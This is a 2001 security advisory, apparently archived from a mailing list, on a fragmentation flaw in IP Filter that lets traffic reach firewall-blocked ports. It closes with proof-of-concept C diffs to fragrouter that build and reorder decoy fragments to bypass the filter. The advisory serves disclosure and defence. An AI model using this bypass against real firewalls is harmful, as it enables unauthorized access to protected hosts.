I did not want to release this on a Friday afternoon.
Happy experimenting
-Thomas
---- cut here ----
*** A fragmentation attack against IP Filter ***
April 6th, 2001
Thomas Lopatic <thomas@lopatic.de>
The research for this advisory was supported by
TUV data protect GmbH,
a TUV Rheinland/Berlin-Brandenburg affiliate
Summary
-------
The current release (3.4.16) of Darren Reed's IP Filter package
contains a flaw in the fragment handling code. This vulnerability
enables an attacker who has access to a single UDP or TCP port on a
host protected by an IP Filter firewall to obtain access to any other
UDP or TCP port on the same host.
Although this flaw is based on problems handling fragments, it can
still be exploited even if the rule-base explicitly blocks all
fragmented packets.
It seems that this problem has been buried in the source code for
quite a while. Thus it is likely that several older releases of IP
Filter are also vulnerable. However, the only version that I have
looked at in addition to 3.4.16 is the release included in the OpenBSD
2.8 distribution (3.3.18), which is also vulnerable.
Details
-------
When IP Filter evaluates the rule-base for an IP fragment and decides
whether to pass it or block it, this decision is saved in a "decision
cache" together with the fragment's IP ID, protocol number, source
address and destination address fields.
Before any received fragment is passed through the rule-base, the
decision cache is searched for a matching entry, i.e. an entry in
which the IP ID, protocol number, source address, and destination
address fields match the corresponding fields of the fragment.
If a matching entry is found, the cached decision is applied to the
received fragment. Otherwise the fragment is passed through the
rule-base.
In this way the same decision is applied to all fragments belonging to
the same original unfragmented packet.
The cache entry is discarded after a timeout period. But an
optimization is implemented for the common case of receiving all
fragments in order, i.e. from the leading offset-0 fragment to the
last fragment with a cleared IP_MF bit. If all fragments are received
in order, the cache entry is discarded after IP Filter has seen the
last fragment.
Let us assume that we can only access port 80/TCP on a host behind an
IP Filter firewall and all other ports are blocked. However, we know
that the host also runs an FTP server that we could compromise because
we have spotted a giraffe in its code. We would therefore like to gain
access to port 21/TCP. Hence, we patch Dug Song's fragrouter 1.6 and
start doing a bit of packet mangling.
For each TCP packet A that we send to port 21 and that we would like
to sneak through the firewall, we create a TCP packet B by making a
copy of A - i.e. we copy A's IP header, TCP header, and TCP payload -
and changing the destination port in B's TCP header to 80. If sent,
packet B would be passed by the firewall (in contrast to packet A),
because traffic to port 80/TCP is allowed by the rule-base.
We then split B into three fragments B1, B2, and B3, keeping B's
original IP header and only adjusting the offset and length fields. In
the canonical case, these fragments would be sent in order, IP Filter
would see B1, go through the rule-base, find the rule that allows
traffic to port 80/TCP, pass B1 because it is an offset-0 fragment and
the contained TCP header fields match this rule, cache the "pass"
decision, receive B2, apply the cached decision to B2, receive B3,
apply the cached decision to B3, and discard the cache entry after
having processed B3.
Now there is a way to make IP Filter not only pass B1, B2, and B3 -
i.e. apply the decision cached for B1 to B2 and B3 - but also apply
the cached "pass" decision to A. Which is convenient for our purpose
of obtaining access to port 21/TCP.
Note that the created fragments B1, B2, and B3 contain the same
fragment ID, protocol number, source address and destination address
as A. Remember that B's IP header is an exact copy of A's IP header
and that the fragments' IP headers differ from B's IP header only in
their length and offset fields.
We fragment B in the following way. If B's TCP payload is less than 13
bytes, we pad it with null bytes.
Fragment Offset Length IP_MF Payload
------------------------------------------------------------------------
B1 0 24 1 B's TCP header, i.e. A's TCP
header + destination port = 80
bytes 0 to 3 of B's TCP payload
B2 24 8 1 bytes 4 to 11 of B's TCP payload
B3 32 depends 0 rest of B's TCP payload
on B (at least one byte)
First we send B1. IP Filter will consider the rule-base, pass the
fragment, and cache this "pass" decision.
We then send B3 and B2 out of order, i.e. we send B3 before B2. The
cache entry created for B1 matches each fragment and the cached "pass"
decision is looked up and used in both cases. However, the
optimization for in-order fragments mentioned above does not apply and
the cached "pass" decision is still kept for a while. In the meantime
the destination host reassembles B1, B2, and B3.
We now send packet A. Since A has the same IP ID, source address,
destination address, and protocol number as the fragments, the cache
entry created for B1 also matches A and the cached "pass" decision is
applied to A as well. Thus, IP Filter passes A, although it is
directed to port 21/TCP and should have been blocked according to the
rule-base.
Looking at the IP Filter source code, we see that A does not need to
be fragmented to make IP Filter search its decision cache for a match,
which saves us some work in exploiting this vulnerability.
The attack as described up to here can be prevented by adding a
filtering rule along the lines of
block in quick all with frag
which blocks all fragmented IP traffic. However, before considering
the rule-base, IP Filter searches its state-table for a connection
entry matching the received packet. On a match, IP Filter passes the
packet without touching the rule-base.
Therefore, we just send B before sending B1, B2, and B3. Receiving B,
IP Filter creates an entry in the state-table representing a
connection from our computer to the open port on the host that we are
attacking, i.e. port 80 to cling to our example.
Since B1 contains a full TCP header and we address B1 to the same port
as B, B1 is also passed because a matching connection entry in the
state-table has already been created by the non-fragmented packet
B. The rule-base is ignored as is the "block with frag" rule.
Passing B1, however, leads to this "pass" decision being cached,
because B1 is a fragment. This in turn allows us to pass B3, B2, and A
through the filter.
As can be seen the attack still applies even if all fragments are
blocked by a filtering rule.
If we did not care about the fragments awaiting reassembly in the
victim host, we could skip the steps of sending B2 and B3 and just
send B1. The effect of IP Filter passing traffic to blocked ports
would be identical.
Thanks to John McDonald of NAI's COVERT Labs for pointing out the full
implications of the vulnerability to me.
Fix information
---------------
I sent an early version of this advisory to Darren and he created an
updated release of the IP Filter package, which is available from the
IP Filter homepage at http://coombs.anu.edu.au/~avalon.
Users of ThomasBSD 1.0 might want to upgrade their installation to
ThomasBSD 1.1 by applying the following patch.
*** ThomasBSD10 Sun Apr 1 00:03:34 2001
--- ThomasBSD11 Fri Apr 6 07:53:21 2001
***************
*** 1 ****
! 8e507e385887e487d3b6c600d09d1f23
--- 1 ----
! 817a49ca60938dc1c36aa48a22cf0997
Demonstration source code
-------------------------
These are the - intentionally slightly broken - diffs to be applied to
fragrouter 1.6 to implement the described attack. Supply the "-M3"
option to fragrouter and route all your packets to the fragrouter host
to comfortably walk through an IP Filter installation that exposes the
described vulnerability.
---- cut here ----
diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
*** fragrouter-1.6.orig/attack.c Tue Sep 21 17:16:59 1999
--- fragrouter-1.6/attack.c Sat Apr 7 16:59:05 2001
***************
*** 126,132 ****
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! NULL,
NULL,
NULL,
NULL,
--- 126,132 ----
NULL, /* ATTACK_MISC */
"misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
"misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
! "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
NULL,
NULL,
NULL,
***************
*** 209,214 ****
--- 209,217 ----
}
if (attack_num == 2) {
frag = misc_linuxipchains(pkt, len);
+ }
+ if (attack_num == 3) {
+ frag = misc_ipfilter(pkt, len);
}
if (frag) {
send_list(frag->head);
diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
*** fragrouter-1.6.orig/misc.c Tue Sep 21 17:14:07 1999
--- fragrouter-1.6/misc.c Sat Apr 7 17:15:56 2001
***************
*** 206,208 ****
--- 206,422 ----
return (list->head);
}
+
+ /*
+ * This demonstrates a fragmentation vulnerability in IP Filter.
+ *
+ * The code needs a small corretion to work properly.
+ *
+ * Thomas Lopatic, 2001-04-06
+ */
+
+ /*
+ * These are the ports that we have access to.
+ */
+
+ #define IPFILTER_OPEN_TCP_PORT 22
+ #define IPFILTER_OPEN_UDP_PORT 53
+
+ ELEM *
+ misc_ipfilter(u_char *pkt, int pktlen)
+ {
+ ELEM *new, *list = NULL;
+ struct ip *iph;
+ unsigned char *frag[3], *mod, *payload;
+ int i, hlen, off, len[3], copy, rest;
+ static short id = 1;
+
+ iph = (struct ip *)pkt;
+
+ if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
+ return NULL;
+
+ iph->ip_id = htons(id);
+
+ if (++id == 0)
+ ++id;
+
+ hlen = iph->ip_hl << 2;
+
+ payload = pkt + hlen;
+ rest = pktlen - hlen;
+
+ for (i = 0; i < 3; i++) {
+
+ /*
+ * Select the offset and the length for each fragment
+ * of the decoy packet.
+ */
+
+ switch (i) {
+ case 0:
+ off = IP_MF;
+ if (iph->ip_p == IPPROTO_UDP)
+ len[i] = 8;
+ else
+ len[i] = 24;
+ break;
+
+ case 1:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 1 | IP_MF;
+ else
+ off = 3 | IP_MF;
+ len[i] = 8;
+ break;
+
+ default:
+ if (iph->ip_p == IPPROTO_UDP)
+ off = 2;
+ else
+ off = 4;
+ if (rest > 0)
+ len[i] = rest;
+ else
+ len[i] = 1;
+ break;
+ }
+
+ /*
+ * Create the fragment.
+ */
+
+ if ((frag[i] = malloc(hlen + len[i])) == NULL) {
+ while (--i > 0)
+ free(frag[i]);
+ return NULL;
+ }
+
+ memcpy(frag[i], pkt, hlen);
+
+ /*
+ * Copy a piece of payload and pad with null
+ * bytes if necessary.
+ */
+
+ copy = len[i];
+
+ if (rest < copy)
+ copy = rest;
+
+ if (copy > 0) {
+ memcpy(frag[i] + hlen, payload, copy);
+ payload += copy;
+ rest -= copy;
+ }
+
+ if (copy < len[i])
+ memset(frag[i] + hlen + copy, 0, len[i] - copy);
+
+ /*
+ * No need to adjust the checksum.
+ * It is not verified by IP Filter.
+ */
+
+ if (i == 0)
+ *(unsigned short *)(frag[i] + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ /*
+ * Fix the IP header.
+ */
+
+ iph = (struct ip *)frag[i];
+
+ iph->ip_len = htons((short)(hlen + len[i]));
+ iph->ip_off = htons((short)off);
+ }
+
+ if (i == 3)
+ return NULL;
+
+ /*
+ * First have IP Filter create a state-table entry using
+ * the original packet with a modified destination port.
+ */
+
+ if ((mod = malloc(pktlen)) == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ memcpy(mod, pkt, pktlen);
+
+ *(unsigned short *)(mod + hlen + 2) =
+ (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
+ htons(IPFILTER_OPEN_TCP_PORT);
+
+ new = list_elem(mod, pktlen);
+ free(mod);
+
+ if (new == NULL) {
+ free(frag[0]);
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * Then fragment #1 goes first...
+ */
+
+ new = list_elem(frag[0], len[0] + hlen);
+ free(frag[0]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ free(frag[2]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #3 (out of order)...
+ */
+
+ new = list_elem(frag[2], len[2] + hlen);
+ free(frag[2]);
+
+ if (new == NULL) {
+ free(frag[1]);
+ return NULL;
+ }
+
+ list = list_add(list, new);
+
+ /*
+ * ... then fragment #2...
+ */
+
+ new = list_elem(frag[1], len[1] + hlen);
+ free(frag[1]);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ /*
+ * ... and finally the original packet.
+ */
+
+ new = list_elem(pkt, pktlen);
+
+ if (new == NULL)
+ return NULL;
+
+ list = list_add(list, new);
+
+ return list->head;
+ }
diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
*** fragrouter-1.6.orig/misc.h Mon Jul 26 17:08:51 1999
--- fragrouter-1.6/misc.h Sat Apr 7 16:59:05 2001
***************
*** 45,48 ****
--- 45,50 ----
ELEM *misc_linuxipchains(u_char *pkt, int pktlen);
+ ELEM *misc_ipfilter(u_char *pkt, int pktlen);
+
#endif /* MISC_H */
This archive was generated by hypermail 2b30 : Thu Apr 26 2001 - 21:20:04 CEST